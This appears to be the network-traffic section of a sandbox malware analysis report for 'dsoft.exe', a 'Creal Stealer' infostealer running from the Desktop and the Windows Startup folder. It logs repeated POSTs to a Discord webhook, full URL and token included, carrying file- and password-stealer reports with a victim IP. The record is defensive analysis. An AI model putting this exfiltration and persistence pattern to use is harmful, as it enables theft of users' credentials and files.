                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        Content-Length: 45
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        Cache-Control: public, max-age=3600, s-maxage=3600
                                                                                                                                                                                                                                        strict-transport-security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                        x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f
                                                                                                                                                                                                                                        x-ratelimit-limit: 5
                                                                                                                                                                                                                                        x-ratelimit-remaining: 4
                                                                                                                                                                                                                                        x-ratelimit-reset: 1735498997
                                                                                                                                                                                                                                        x-ratelimit-reset-after: 1
                                                                                                                                                                                                                                        via: 1.1 google
                                                                                                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                        CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UUJyDjfDUkGiKocw%2FuDMYE4ETUqPi00WxERk6r6EjjLwSy3Qh0rNofwrvF57cCONQG6swhTRmAj6ZbNYnMtcMgQVZLFacggCM2Fw6Bb%2BEIUdiJwP17F%2BKvOcRDBN"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                        Set-Cookie: __cfruid=a43fb804982cca3653051a4b7746cea35628f37c-1735498996; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
                                                                                                                                                                                                                                        Set-Cookie: _cfuvid=pAFnR_wOrfdgh_Jtk3mByUUGMw9MwwYE7abgSZutqmQ-1735498996270-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Server: cloudflare
                                                                                                                                                                                                                                        CF-RAY: 8f9c0c94d816423b-EWR
                                                                                                                                                                                                                                        2024-12-29 19:03:16 UTC45INData Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 20 22 55 6e 6b 6e 6f 77 6e 20 57 65 62 68 6f 6f 6b 22 2c 20 22 63 6f 64 65 22 3a 20 31 30 30 31 35 7d
                                                                                                                                                                                                                                        Data Ascii: {"message": "Unknown Webhook", "code": 10015}


                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                        41192.168.2.449837162.159.138.2324437128C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                        2024-12-29 19:03:17 UTC332OUTPOST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1
                                                                                                                                                                                                                                        Accept-Encoding: identity
                                                                                                                                                                                                                                        Content-Length: 412
                                                                                                                                                                                                                                        Host: discord.com
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        2024-12-29 19:03:17 UTC412OUTData Raw: 7b 22 63 6f 6e 74 65 6e 74 22 3a 20 22 3a 66 6c 61 67 5f 75 73 3a 20 20 2d 20 60 4a 4f 4e 45 53 20 7c 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 20 28 55 6e 69 74 65 64 20 53 74 61 74 65 73 29 60 22 2c 20 22 65 6d 62 65 64 73 22 3a 20 5b 7b 22 63 6f 6c 6f 72 22 3a 20 32 38 39 35 36 36 37 2c 20 22 66 69 65 6c 64 73 22 3a 20 5b 5d 2c 20 22 74 69 74 6c 65 22 3a 20 22 43 72 65 61 6c 20 53 74 65 61 6c 65 72 20 7c 20 46 69 6c 65 20 53 74 65 61 6c 65 72 22 2c 20 22 66 6f 6f 74 65 72 22 3a 20 7b 22 74 65 78 74 22 3a 20 22 43 72 65 61 6c 20 53 74 65 61 6c 65 72 22 2c 20 22 69 63 6f 6e 5f 75 72 6c 22 3a 20 22 68 74 74 70 73 3a 2f 2f 72 61 77 2e 67 69 74 68 75 62 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 2f 41 79 68 75 75 75 2f 43 72 65 61 6c 2d 53 74 65 61 6c 65 72
                                                                                                                                                                                                                                        Data Ascii: {"content": ":flag_us: - `user | 8.46.123.189 (United States)`", "embeds": [{"color": 2895667, "fields": [], "title": "Creal Stealer | File Stealer", "footer": {"text": "Creal Stealer", "icon_url": "https://raw.githubusercontent.com/Ayhuuu/Creal-Stealer
                                                                                                                                                                                                                                        2024-12-29 19:03:17 UTC1257INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                        Date: Sun, 29 Dec 2024 19:03:17 GMT
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        Content-Length: 45
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        Cache-Control: public, max-age=3600, s-maxage=3600
                                                                                                                                                                                                                                        strict-transport-security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                        x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f
                                                                                                                                                                                                                                        x-ratelimit-limit: 5
                                                                                                                                                                                                                                        x-ratelimit-remaining: 4
                                                                                                                                                                                                                                        x-ratelimit-reset: 1735498998
                                                                                                                                                                                                                                        x-ratelimit-reset-after: 1
                                                                                                                                                                                                                                        via: 1.1 google
                                                                                                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                        CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WgRfN9v%2FuUjAxm9L0HQcD%2Blzb7zOsbXndjLxB%2Fhj3loyqvQOVNL2Na8pHZFWckiNkVb9%2FFgO3JeTpbT3rCzjyoqtaKW2SoiVC1xXhOTBiGE9KIbigiTeueRcAiQa"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                        Set-Cookie: __cfruid=5501b16e0554bd3ddaeaf0e69ea9ea9655b8f544-1735498997; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
                                                                                                                                                                                                                                        Set-Cookie: _cfuvid=Ym5BP7VPJHeeelRZw3UktFYy9mpDLPNrX7DoUgkdP.w-1735498997537-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Server: cloudflare
                                                                                                                                                                                                                                        CF-RAY: 8f9c0c9e28f8c440-EWR
                                                                                                                                                                                                                                        2024-12-29 19:03:17 UTC45INData Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 20 22 55 6e 6b 6e 6f 77 6e 20 57 65 62 68 6f 6f 6b 22 2c 20 22 63 6f 64 65 22 3a 20 31 30 30 31 35 7d
                                                                                                                                                                                                                                        Data Ascii: {"message": "Unknown Webhook", "code": 10015}


                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                        42192.168.2.449838162.159.138.2324434336C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                        2024-12-29 19:03:17 UTC333OUTPOST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1
                                                                                                                                                                                                                                        Accept-Encoding: identity
                                                                                                                                                                                                                                        Content-Length: 1787
                                                                                                                                                                                                                                        Host: discord.com
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        2024-12-29 19:03:17 UTC1787OUTData Raw: 7b 22 63 6f 6e 74 65 6e 74 22 3a 20 22 3a 66 6c 61 67 5f 75 73 3a 20 20 2d 20 60 4a 4f 4e 45 53 20 7c 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 20 28 55 6e 69 74 65 64 20 53 74 61 74 65 73 29 60 22 2c 20 22 65 6d 62 65 64 73 22 3a 20 5b 7b 22 74 69 74 6c 65 22 3a 20 22 43 72 65 61 6c 20 53 74 65 61 6c 65 72 20 7c 20 50 61 73 73 77 6f 72 64 20 53 74 65 61 6c 65 72 22 2c 20 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 20 22 2a 2a 46 6f 75 6e 64 2a 2a 3a 5c 6e 5c 6e 5c 6e 2a 2a 44 61 74 61 3a 2a 2a 5c 6e 3c 61 3a 68 69 72 61 5f 6b 61 73 61 61 6e 61 68 74 61 72 69 3a 38 38 36 39 34 32 38 35 36 39 36 39 38 37 35 34 37 36 3e 20 5c 75 32 30 32 32 20 2a 2a 30 2a 2a 20 50 61 73 73 77 6f 72 64 73 20 46 6f 75 6e 64 5c 6e 3c 61 3a 43 48 5f 49 63 6f 6e 41 72 72 6f 77 52 69
                                                                                                                                                                                                                                        Data Ascii: {"content": ":flag_us: - `user | 8.46.123.189 (United States)`", "embeds": [{"title": "Creal Stealer | Password Stealer", "description": "**Found**:\n\n\n**Data:**\n<a:hira_kasaanahtari:886942856969875476> \u2022 **0** Passwords Found\n<a:CH_IconArrowRi
                                                                                                                                                                                                                                        2024-12-29 19:03:18 UTC1253INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                        Date: Sun, 29 Dec 2024 19:03:17 GMT
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        Content-Length: 45
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        Cache-Control: public, max-age=3600, s-maxage=3600
                                                                                                                                                                                                                                        strict-transport-security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                        x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f
                                                                                                                                                                                                                                        x-ratelimit-limit: 5
                                                                                                                                                                                                                                        x-ratelimit-remaining: 4
                                                                                                                                                                                                                                        x-ratelimit-reset: 1735498999
                                                                                                                                                                                                                                        x-ratelimit-reset-after: 1
                                                                                                                                                                                                                                        via: 1.1 google
                                                                                                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                        CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LMctKu3Lr039fNs%2BuAYjc1Gq6JWmteDeY%2FyWEkEwUYTwsMUdG75dAZTul2FSs787wTSYth6OeAgHU9nA9LHFEmSqYtruyswhmgOa5MF8KJaL6TDFA8Gdjy6hRVMS"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                        Set-Cookie: __cfruid=5501b16e0554bd3ddaeaf0e69ea9ea9655b8f544-1735498997; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
                                                                                                                                                                                                                                        Set-Cookie: _cfuvid=4MHz39sMJ.4aXIHBGoP67murEA.xb8b1BSp2oPtxKIQ-1735498997984-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Server: cloudflare
                                                                                                                                                                                                                                        CF-RAY: 8f9c0ca0ad3819a1-EWR
                                                                                                                                                                                                                                        2024-12-29 19:03:18 UTC45INData Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 20 22 55 6e 6b 6e 6f 77 6e 20 57 65 62 68 6f 6f 6b 22 2c 20 22 63 6f 64 65 22 3a 20 31 30 30 31 35 7d
                                                                                                                                                                                                                                        Data Ascii: {"message": "Unknown Webhook", "code": 10015}


                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                        43192.168.2.449843162.159.138.2324437128C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                        2024-12-29 19:03:18 UTC332OUTPOST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1
                                                                                                                                                                                                                                        Accept-Encoding: identity
                                                                                                                                                                                                                                        Content-Length: 412
                                                                                                                                                                                                                                        Host: discord.com
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        2024-12-29 19:03:18 UTC412OUTData Raw: 7b 22 63 6f 6e 74 65 6e 74 22 3a 20 22 3a 66 6c 61 67 5f 75 73 3a 20 20 2d 20 60 4a 4f 4e 45 53 20 7c 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 20 28 55 6e 69 74 65 64 20 53 74 61 74 65 73 29 60 22 2c 20 22 65 6d 62 65 64 73 22 3a 20 5b 7b 22 63 6f 6c 6f 72 22 3a 20 32 38 39 35 36 36 37 2c 20 22 66 69 65 6c 64 73 22 3a 20 5b 5d 2c 20 22 74 69 74 6c 65 22 3a 20 22 43 72 65 61 6c 20 53 74 65 61 6c 65 72 20 7c 20 46 69 6c 65 20 53 74 65 61 6c 65 72 22 2c 20 22 66 6f 6f 74 65 72 22 3a 20 7b 22 74 65 78 74 22 3a 20 22 43 72 65 61 6c 20 53 74 65 61 6c 65 72 22 2c 20 22 69 63 6f 6e 5f 75 72 6c 22 3a 20 22 68 74 74 70 73 3a 2f 2f 72 61 77 2e 67 69 74 68 75 62 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 2f 41 79 68 75 75 75 2f 43 72 65 61 6c 2d 53 74 65 61 6c 65 72
                                                                                                                                                                                                                                        Data Ascii: {"content": ":flag_us: - `user | 8.46.123.189 (United States)`", "embeds": [{"color": 2895667, "fields": [], "title": "Creal Stealer | File Stealer", "footer": {"text": "Creal Stealer", "icon_url": "https://raw.githubusercontent.com/Ayhuuu/Creal-Stealer
                                                                                                                                                                                                                                        2024-12-29 19:03:19 UTC1259INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                        Date: Sun, 29 Dec 2024 19:03:19 GMT
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        Content-Length: 45
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        Cache-Control: public, max-age=3600, s-maxage=3600
                                                                                                                                                                                                                                        strict-transport-security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                        x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f
                                                                                                                                                                                                                                        x-ratelimit-limit: 5
                                                                                                                                                                                                                                        x-ratelimit-remaining: 4
                                                                                                                                                                                                                                        x-ratelimit-reset: 1735499000
                                                                                                                                                                                                                                        x-ratelimit-reset-after: 1
                                                                                                                                                                                                                                        via: 1.1 google
                                                                                                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                        CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=u25464NmzNX9dthTQ5%2Fj7bcLl5Pwfqz9b82W2FiD%2BSFGPdrngx0W3yejJYbI8Xfe0jKgKTww%2FXeYU96K2ZhQfOXGDMPeypsx7u52z7i0M2qPj%2F2oKJ%2FHRsZL0M5S"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                        Set-Cookie: __cfruid=7b04209e90e1112546946eda2546c3b3e0bcc4f1-1735498999; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
                                                                                                                                                                                                                                        Set-Cookie: _cfuvid=ZUkxNojZS0AFLrqTAM.KtcwifO6pROCknC90EhmpcTA-1735498999351-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Server: cloudflare
                                                                                                                                                                                                                                        CF-RAY: 8f9c0ca96bfd726e-EWR
                                                                                                                                                                                                                                        2024-12-29 19:03:19 UTC45INData Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 20 22 55 6e 6b 6e 6f 77 6e 20 57 65 62 68 6f 6f 6b 22 2c 20 22 63 6f 64 65 22 3a 20 31 30 30 31 35 7d
                                                                                                                                                                                                                                        Data Ascii: {"message": "Unknown Webhook", "code": 10015}


                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                        44192.168.2.449845162.159.138.2324434336C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                        2024-12-29 19:03:19 UTC333OUTPOST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1
                                                                                                                                                                                                                                        Accept-Encoding: identity
                                                                                                                                                                                                                                        Content-Length: 1787
                                                                                                                                                                                                                                        Host: discord.com
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        2024-12-29 19:03:19 UTC1787OUTData Raw: 7b 22 63 6f 6e 74 65 6e 74 22 3a 20 22 3a 66 6c 61 67 5f 75 73 3a 20 20 2d 20 60 4a 4f 4e 45 53 20 7c 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 20 28 55 6e 69 74 65 64 20 53 74 61 74 65 73 29 60 22 2c 20 22 65 6d 62 65 64 73 22 3a 20 5b 7b 22 74 69 74 6c 65 22 3a 20 22 43 72 65 61 6c 20 53 74 65 61 6c 65 72 20 7c 20 50 61 73 73 77 6f 72 64 20 53 74 65 61 6c 65 72 22 2c 20 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 20 22 2a 2a 46 6f 75 6e 64 2a 2a 3a 5c 6e 5c 6e 5c 6e 2a 2a 44 61 74 61 3a 2a 2a 5c 6e 3c 61 3a 68 69 72 61 5f 6b 61 73 61 61 6e 61 68 74 61 72 69 3a 38 38 36 39 34 32 38 35 36 39 36 39 38 37 35 34 37 36 3e 20 5c 75 32 30 32 32 20 2a 2a 30 2a 2a 20 50 61 73 73 77 6f 72 64 73 20 46 6f 75 6e 64 5c 6e 3c 61 3a 43 48 5f 49 63 6f 6e 41 72 72 6f 77 52 69
                                                                                                                                                                                                                                        Data Ascii: {"content": ":flag_us: - `user | 8.46.123.189 (United States)`", "embeds": [{"title": "Creal Stealer | Password Stealer", "description": "**Found**:\n\n\n**Data:**\n<a:hira_kasaanahtari:886942856969875476> \u2022 **0** Passwords Found\n<a:CH_IconArrowRi
                                                                                                                                                                                                                                        2024-12-29 19:03:20 UTC1259INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                        Date: Sun, 29 Dec 2024 19:03:19 GMT
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        Content-Length: 45
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        Cache-Control: public, max-age=3600, s-maxage=3600
                                                                                                                                                                                                                                        strict-transport-security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                        x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f
                                                                                                                                                                                                                                        x-ratelimit-limit: 5
                                                                                                                                                                                                                                        x-ratelimit-remaining: 4
                                                                                                                                                                                                                                        x-ratelimit-reset: 1735499001
                                                                                                                                                                                                                                        x-ratelimit-reset-after: 1
                                                                                                                                                                                                                                        via: 1.1 google
                                                                                                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                        CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9gEmXUCuxuKdlXrTzLqLyzzzEDCPwFX5RireTZPQMXcSdy7UlcWBfiI8Y9%2B8x3MSDj4oBaiCf6VC30GQm%2FsQ3Kj8I%2B%2BwfdJLxwgwBD1Lyhyif%2FM0U9rvm5BYV4re"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                        Set-Cookie: __cfruid=7b04209e90e1112546946eda2546c3b3e0bcc4f1-1735498999; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
                                                                                                                                                                                                                                        Set-Cookie: _cfuvid=q4pV7cQg53DbTlzgI_Vu9bZZGis6Gdc07u7ronpmt6M-1735498999935-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Server: cloudflare
                                                                                                                                                                                                                                        CF-RAY: 8f9c0cacba2b7c7b-EWR
                                                                                                                                                                                                                                        2024-12-29 19:03:20 UTC45INData Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 20 22 55 6e 6b 6e 6f 77 6e 20 57 65 62 68 6f 6f 6b 22 2c 20 22 63 6f 64 65 22 3a 20 31 30 30 31 35 7d
                                                                                                                                                                                                                                        Data Ascii: {"message": "Unknown Webhook", "code": 10015}


                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                        45192.168.2.449850162.159.138.2324437128C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                        2024-12-29 19:03:20 UTC332OUTPOST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1
                                                                                                                                                                                                                                        Accept-Encoding: identity
                                                                                                                                                                                                                                        Content-Length: 412
                                                                                                                                                                                                                                        Host: discord.com
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        2024-12-29 19:03:20 UTC412OUTData Raw: 7b 22 63 6f 6e 74 65 6e 74 22 3a 20 22 3a 66 6c 61 67 5f 75 73 3a 20 20 2d 20 60 4a 4f 4e 45 53 20 7c 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 20 28 55 6e 69 74 65 64 20 53 74 61 74 65 73 29 60 22 2c 20 22 65 6d 62 65 64 73 22 3a 20 5b 7b 22 63 6f 6c 6f 72 22 3a 20 32 38 39 35 36 36 37 2c 20 22 66 69 65 6c 64 73 22 3a 20 5b 5d 2c 20 22 74 69 74 6c 65 22 3a 20 22 43 72 65 61 6c 20 53 74 65 61 6c 65 72 20 7c 20 46 69 6c 65 20 53 74 65 61 6c 65 72 22 2c 20 22 66 6f 6f 74 65 72 22 3a 20 7b 22 74 65 78 74 22 3a 20 22 43 72 65 61 6c 20 53 74 65 61 6c 65 72 22 2c 20 22 69 63 6f 6e 5f 75 72 6c 22 3a 20 22 68 74 74 70 73 3a 2f 2f 72 61 77 2e 67 69 74 68 75 62 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 2f 41 79 68 75 75 75 2f 43 72 65 61 6c 2d 53 74 65 61 6c 65 72
                                                                                                                                                                                                                                        Data Ascii: {"content": ":flag_us: - `user | 8.46.123.189 (United States)`", "embeds": [{"color": 2895667, "fields": [], "title": "Creal Stealer | File Stealer", "footer": {"text": "Creal Stealer", "icon_url": "https://raw.githubusercontent.com/Ayhuuu/Creal-Stealer
                                                                                                                                                                                                                                        2024-12-29 19:03:21 UTC1261INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                        Date: Sun, 29 Dec 2024 19:03:21 GMT
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        Content-Length: 45
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        Cache-Control: public, max-age=3600, s-maxage=3600
                                                                                                                                                                                                                                        strict-transport-security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                        x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f
                                                                                                                                                                                                                                        x-ratelimit-limit: 5
                                                                                                                                                                                                                                        x-ratelimit-remaining: 4
                                                                                                                                                                                                                                        x-ratelimit-reset: 1735499002
                                                                                                                                                                                                                                        x-ratelimit-reset-after: 1
                                                                                                                                                                                                                                        via: 1.1 google
                                                                                                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                        CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zrCmVsNjNq5u%2BRAY%2BINUKOyQxr%2F1eaXOv1AnPeMbGP0dVxBm0RRTbpqyZVd7WNw2tgPa36J7wC7qbSPzyi9aHQv2%2BEeOJmY5J4GV3m%2FT%2BnB9OBzPAe5y1gFbNB6p"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                        Set-Cookie: __cfruid=dc5d754406e571a16d9932dbc45a1ea4a58ad2b1-1735499001; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
                                                                                                                                                                                                                                        Set-Cookie: _cfuvid=.i7hEaNZyIF6pvFbSmMCrHzzpxjkERy4Coa8qu0FnhA-1735499001162-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Server: cloudflare
                                                                                                                                                                                                                                        CF-RAY: 8f9c0cb4bac6c481-EWR
                                                                                                                                                                                                                                        2024-12-29 19:03:21 UTC45INData Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 20 22 55 6e 6b 6e 6f 77 6e 20 57 65 62 68 6f 6f 6b 22 2c 20 22 63 6f 64 65 22 3a 20 31 30 30 31 35 7d
                                                                                                                                                                                                                                        Data Ascii: {"message": "Unknown Webhook", "code": 10015}


                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                        46192.168.2.449851162.159.138.2324434336C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                        2024-12-29 19:03:21 UTC333OUTPOST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1
                                                                                                                                                                                                                                        Accept-Encoding: identity
                                                                                                                                                                                                                                        Content-Length: 1787
                                                                                                                                                                                                                                        Host: discord.com
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
                                                                                                                                                                                                                                        Connection: close
